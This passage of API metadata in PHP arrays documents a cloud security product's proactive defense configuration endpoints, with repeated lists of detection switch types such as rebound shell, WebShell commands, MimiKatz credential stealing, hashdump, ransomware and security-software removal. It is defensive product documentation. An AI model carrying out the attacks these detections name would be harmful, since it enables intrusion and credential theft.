[ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', ], 'OverallList' => [ 'description' => 'The information about the configuration items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the configuration item.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the configuration. Valid values:'."\n" ."\n" .'* **kdump_switch**: Active defense experience optimization.'."\n" .'* **threat_detect**: Adaptive threat detection.'."\n" .'* **suspicious_aggregation**: Alert association.'."\n" .'* **alidetect**: File detection.'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_38857**: Entrance service performs high-risk operations (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50858**: Web service performs high-risk operations (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50859**: Entrance service performs suspicious operations (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50862**: Cloud Assistant advanced protection (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50867**: Injects malicious files (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50868**: Injects suspicious files (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_64025**: Entrance service executes commands in an enhanced mode (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51229**: Browser service performs high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51230**: Entrance service performs suspicious operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51232**: System processes perform high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51233**: Java service performs high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51234**: Office components perform high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51235**: Web service performs high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52820**: Injects malicious files (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52826**: Entrance service performs high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_55251**: Database services perform high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_63725**: Entrance service injects suspicious scripts or binary files (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_3277**: Suspicious process startup (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50983**: Obfuscated commands (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51200**: Uses command line to download and run malicious files (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_71131**: Entrance service executes sequence of suspicious behavior (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51225**: Powershell executes high-risk commands (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51226**: Powershell executes suspicious commands (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52821**: Suspicious process startup (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57242**: Malicious command execution (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57340**: Uses command line to download and run malicious files (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_39659**: Sensitive registry key protection (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52816**: High-risk account manipulation behavior (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54365**: Creates service auto-startup items (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54366**: Creates high-risk auto-startup items (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54367**: Creates scheduled task auto-startup items (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54368**: Creates registry auto-startup items (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54369**: Creates WMI auto-startup items (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50869**: Unauthorized execution of high-risk commands (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_53272**: Exploits kernel vulnerabilities to elevate privileges (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54395**: Unauthorized reading and writing of sensitive files (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57897**: Suspected privilege escalation (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52825**: Unauthorized execution of high-risk commands (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_5507**: Malicious drivers (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50876**: Uninstalls security software (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_53168**: Process debugging (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54699**: Hijacks dynamic link library (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_62981**: Bypasses security monitoring (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52815**: Loads high-risk drivers (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52823**: Runs high-risk anti-rootkit (ARK) tools (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54373**: Uninstalls security software (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54374**: Intrusion trace cleanup (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54265**: Hijacks the pluggable authentication module (PAM) (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54953**: Hashdump attack (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54383**: MimiKatz credential stealing (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54384**: Hashdump attack (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50861**: Information detection (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52818**: Information detection (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54034**: Intranet scan (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51228**: High-risk lateral penetration tools (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50870**: Rebound shell (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50873**: WebShell executes commands.'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51236**: Rebound shell (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50877**: Malicious program communication (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50884**: Suspicious worm script behavior (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50885**: Malicious script behavior (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51201**: Ransomware (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51202**: Suspected extortion (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52827**: Ransomware (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52828**: Suspected extortion (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52829**: Deletes system backup behavior (Windows).'."\n", 'type' => 'string', 'example' => 'kdump_switch', ], 'TotalCount' => [ 'description' => 'The total number of entries that are returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '184', ], 'Config' => [ 'description' => 'Indicates the status of the switch. Valid values:'."\n" ."\n" .'* **off**'."\n" .'* **on**'."\n", 'type' => 'string', 'example' => 'on', ], 'AuthVersionList' => [ 'description' => 'The editions of Security Center.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The edition of Security Center. Valid values:'."\n" ."\n" .'* **sas_gte_enterprise**: the Enterprise edition or higher.'."\n" .'* **sas_gt_basic**: a paid edition.'."\n" .'* **sas_gte_advanced**: the Advanced edition or higher.'."\n", 'type' => 'string', 'example' => 'sas_gt_basic', ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\",\\n \\"OverallList\\": [\\n {\\n \\"Type\\": \\"kdump_switch\\",\\n \\"TotalCount\\": 184,\\n \\"Config\\": \\"on\\",\\n \\"AuthVersionList\\": [\\n \\"sas_gt_basic\\"\\n ]\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeCommonOverallConfigList', ], 'DescribeCommonTargetConfig' => [ 'summary' => 'Queries the configurations of the proactive defense feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The configuration type. Valid values:'."\n" ."\n" .'* **kdump_switch**: Active defense experience optimization.'."\n" .'* **threat_detect**: Adaptive threat detection.'."\n" .'* **containerNetwork**: Container network topology.'."\n" .'* **interceptionSwitch**: Cluster microsegmentation.'."\n" .'* **suspicious_aggregation**: Alert association.'."\n" .'* **alidetect**: File detection.'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_38857**: Entrance service performs high-risk operations (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50858**: Web service performs high-risk operations (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50859**: Entrance service performs suspicious operations (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50862**: Cloud Assistant advanced protection for Linux.'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50867**: Injects malicious files (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50868**: Injects suspicious files (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_64025**: Entrance service executes commands in an enhanced mode (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51229**: Browser service performs high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51230**: Entrance service performs suspicious operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51232**: System processes perform high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51233**: Java service performs high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51234**: Office components perform high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51235**: Web service performs high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52820**: Injects malicious files (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52826**: Entrance service performs high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_55251**: Database services perform high-risk operations (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_63725**: Entrance service injects suspicious scripts or binary files (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_3277**: Suspicious process startup (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50983**: Obfuscated commands (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51200**: Uses command line to download and run malicious files (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_71131**: Entrance service executes sequence of suspicious behavior (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51225**: Powershell executes high-risk commands (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51226**: Powershell executes suspicious commands (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52821**: Suspicious process startup (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57242**: Malicious command execution (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57340**: Uses command line to download and run malicious files (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_39659**: Sensitive registry key protection (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52816**: High-risk account manipulation behavior (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54365**: Creates service auto-startup items (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54366**: Creates high-risk auto-startup items (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54367**: Creates scheduled task auto-startup items (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54368**: Creates registry auto-startup items (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54369**: Creates WMI auto-startup items (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50869**: Unauthorized execution of high-risk commands (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_53272**: Exploits kernel vulnerabilities to elevate privileges (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54395**: Unauthorized reading and writing of sensitive files (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57897**: Suspected privilege escalation (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52825**: Unauthorized execution of high-risk commands (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_5507**: Malicious drivers (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50876**: Uninstalls security software (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_53168**: Process debugging (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54699**: Hijacks dynamic link library (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_62981**: Bypasses security monitoring (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52815**: Loads high-risk drivers (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52823**: Runs high-risk anti-rootkit (ARK) tools (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54373**: Uninstalls security software (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54374**: Intrusion trace cleanup (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54265**: Hijacks the pluggable authentication module (PAM) (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54953**: Hashdump attack (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54383**: MimiKatz credential stealing (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54384**: Hashdump attack (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50861**: Information detection (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52818**: Information detection (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54034**: Intranet scan (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51228**: High-risk lateral penetration tools (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50870**: Rebound shell (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50873**: WebShell executes commands.'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51236**: Rebound shell (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50877**: Malicious program communication (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50884**: Suspicious worm script behavior (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50885**: Malicious script behavior (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51201**: Ransomware (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51202**: Suspected extortion (Linux).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52827**: Ransomware (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52828**: Suspected extortion (Windows).'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52829**: Deletes system backup behavior (Windows).'."\n", 'type' => 'string', 'required' => true, 'example' => 'kdump_switch', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F', ], 'TargetList' => [ 'description' => 'An array that consists of the details of the configuration items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the configuration item.'."\n", 'type' => 'object', 'properties' => [ 'Flag' => [ 'description' => 'The mode in which the configuration takes effect. Valid values:'."\n" ."\n" .'* **add**: In this mode, the configuration takes effect on the assets.'."\n" .'* **del**: In this mode, the configuration does not take effect on the assets.'."\n", 'type' => 'string', 'example' => 'add', ], 'Target' => [ 'description' => 'The ID of the asset on which the configuration takes effect.'."\n" ."\n" .'> '."\n" ."\n" .'* When you set the **TargetType** parameter to **uuid**, the value of this parameter indicates the UUID of an asset.'."\n" ."\n" .'* When you set the **TargetType** parameter to **Cluster**, the value of this parameter indicates the ID of a cluster.'."\n" ."\n" .'* When you set the **TargetType** parameter to **image_repo**, the value of this parameter indicates the ID of an image repository.'."\n", 'type' => 'string', 'example' => 'c23551de6149343e8a54e69fbefe6****', ], 'TargetType' => [ 'description' => 'The dimension from on which the feature was configured. Valid values:'."\n" ."\n" .'* **uuid**: the UUID of the asset'."\n" .'* **Cluster**: the ID of the cluster'."\n" .'* **image_repo**: the ID of the image repository'."\n", 'type' => 'string', 'example' => 'image_repo', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F\\",\\n \\"TargetList\\": [\\n {\\n \\"Flag\\": \\"add\\",\\n \\"Target\\": \\"c23551de6149343e8a54e69fbefe6****\\",\\n \\"TargetType\\": \\"image_repo\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeCommonTargetConfig', ], 'BatchOperateCommonOverallConfig' => [ 'summary' => 'Enables or disables multiple features in proactive defense at a time.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '91909', 'abilityTreeNodes' => [ 'FEATUREsas2XWKXT', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Config', 'in' => 'query', 'schema' => [ 'description' => 'The status of the feature. Valid values:'."\n" ."\n" .'* **on**: enabled'."\n" .'* **off**: disabled'."\n", 'type' => 'string', 'required' => true, 'example' => 'on', ], ], [ 'name' => 'TypeList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The type of the feature in proactive defense. Valid values:'."\n" ."\n" .'* **kdump_switch**: Active defense experience optimization'."\n" .'* **threat_detect**: Dynamic adaptive threat detection capability'."\n" .'* **suspicious_aggregation**: Alert Association'."\n" .'* **alidetect**: File Test'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_38857**: Entrance service execution high-risk operation (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50858**: Web service performs high-risk operations (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50859**: Entrance service execution suspicious operation (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50862**: Cloud Assistant Advanced Protection (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50867**: Create malicious files (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50868**: Create suspicious files (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_64025**: Ingress service execute command \\[enhanced mode] (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51229**: Browser service execution a high-risk operation (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51230**: Entrance service execution suspicious operation (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51232**: System processes execution high-risk operations (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51233**: Java service execution high-risk operations (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51234**: Office components execution high-risk operations (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51235**: Web service performs high-risk operations (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52820**: Create malicious files (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52826**: Entrance service execution high-risk operation (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_55251**: Database services execution high-risk operations (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_63725**: Ingress service implants suspicious script/binary file (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_3277**: Suspicious process startup (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50983**: obfuscated command (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51200**: Command line download and run malicious files (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_71131**: Ingress service executes sequence of suspicious behavior (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51225**: Powershell executes high-risk commands (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51226**: Powershell execute suspicious command (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52821**: Suspicious process startup (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57242**: Malicious command execution (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57340**: Command line download and run malicious files (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_39659**: Sensitive Registry Key Protection (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52816**: high-risk account manipulation behavior (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54365**: Create service autorun item (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54366**: Create high-risk autorun item (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54367**: Create scheduled task autorun item (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54368**: Create registry autorun item (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54369**: Create WMI autorun item (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50869**: Unauthorized execution of high-risk orders (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_53272**: Exploiting Kernel Vulnerabilities to Elevate Privileges (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54395**: Unauthorized reading and writing of sensitive files (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57897**: suspected privilege escalation (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52825**: Unauthorized execution of high-risk orders (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_5507**: malicious drivers (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50876**: Against security software (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_53168**: process debugging (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54699**: Hijack dynamic link library (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_62981**: Bypassing security monitoring (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52815**: Load high-risk drivers (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52823**: Running high-risk ARK tools (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54373**: Against security software (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54374**: Intrusion trace cleanup (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54265**: Hijacking the PAM Module (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54953**: Hashdump Attack (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54383**: MimiKatz Credential Stealing (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54384**: Hashdump Attack (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50861**: Information detection (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52818**: Information detection (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54034**: Intranet scan (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51228**: High-risk lateral penetration tools (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50870**: Rebound Shell (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50873**: WebShell execute command'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51236**: Rebound Shell (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50877**: Malicious soft communication (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50884**: Suspicious worm script behavior (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50885**: malicious script behavior (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51201**: ransomware (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51202**: Suspected Extortion (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52827**: ransomware (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52828**: Suspected Extortion (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52829**: delete system backup behavior (Windows)'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the feature in proactive defense. Valid values:'."\n" ."\n" .'* **kdump_switch**: Active defense experience optimization'."\n" .'* **threat_detect**: Dynamic adaptive threat detection capability'."\n" .'* **suspicious_aggregation**: Alert Association'."\n" .'* **alidetect**: File Test'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_38857**: Entrance service execution high-risk operation (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50858**: Web service performs high-risk operations (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50859**: Entrance service execution suspicious operation (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50862**: Cloud Assistant Advanced Protection (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50867**: Create malicious files (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50868**: Create suspicious files (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_64025**: Ingress service execute command \\[enhanced mode] (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51229**: Browser service execution a high-risk operation (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51230**: Entrance service execution suspicious operation (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51232**: System processes execution high-risk operations (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51233**: Java service execution high-risk operations (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51234**: Office components execution high-risk operations (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51235**: Web service performs high-risk operations (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52820**: Create malicious files (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52826**: Entrance service execution high-risk operation (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_55251**: Database services execution high-risk operations (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_63725**: Ingress service implants suspicious script/binary file (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_3277**: Suspicious process startup (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50983**: obfuscated command (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51200**: Command line download and run malicious files (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_71131**: Ingress service executes sequence of suspicious behavior (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51225**: Powershell executes high-risk commands (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51226**: Powershell execute suspicious command (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52821**: Suspicious process startup (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57242**: Malicious command execution (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57340**: Command line download and run malicious files (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_39659**: Sensitive Registry Key Protection (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52816**: high-risk account manipulation behavior (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54365**: Create service autorun item (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54366**: Create high-risk autorun item (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54367**: Create scheduled task autorun item (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54368**: Create registry autorun item (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54369**: Create WMI autorun item (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50869**: Unauthorized execution of high-risk orders (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_53272**: Exploiting Kernel Vulnerabilities to Elevate Privileges 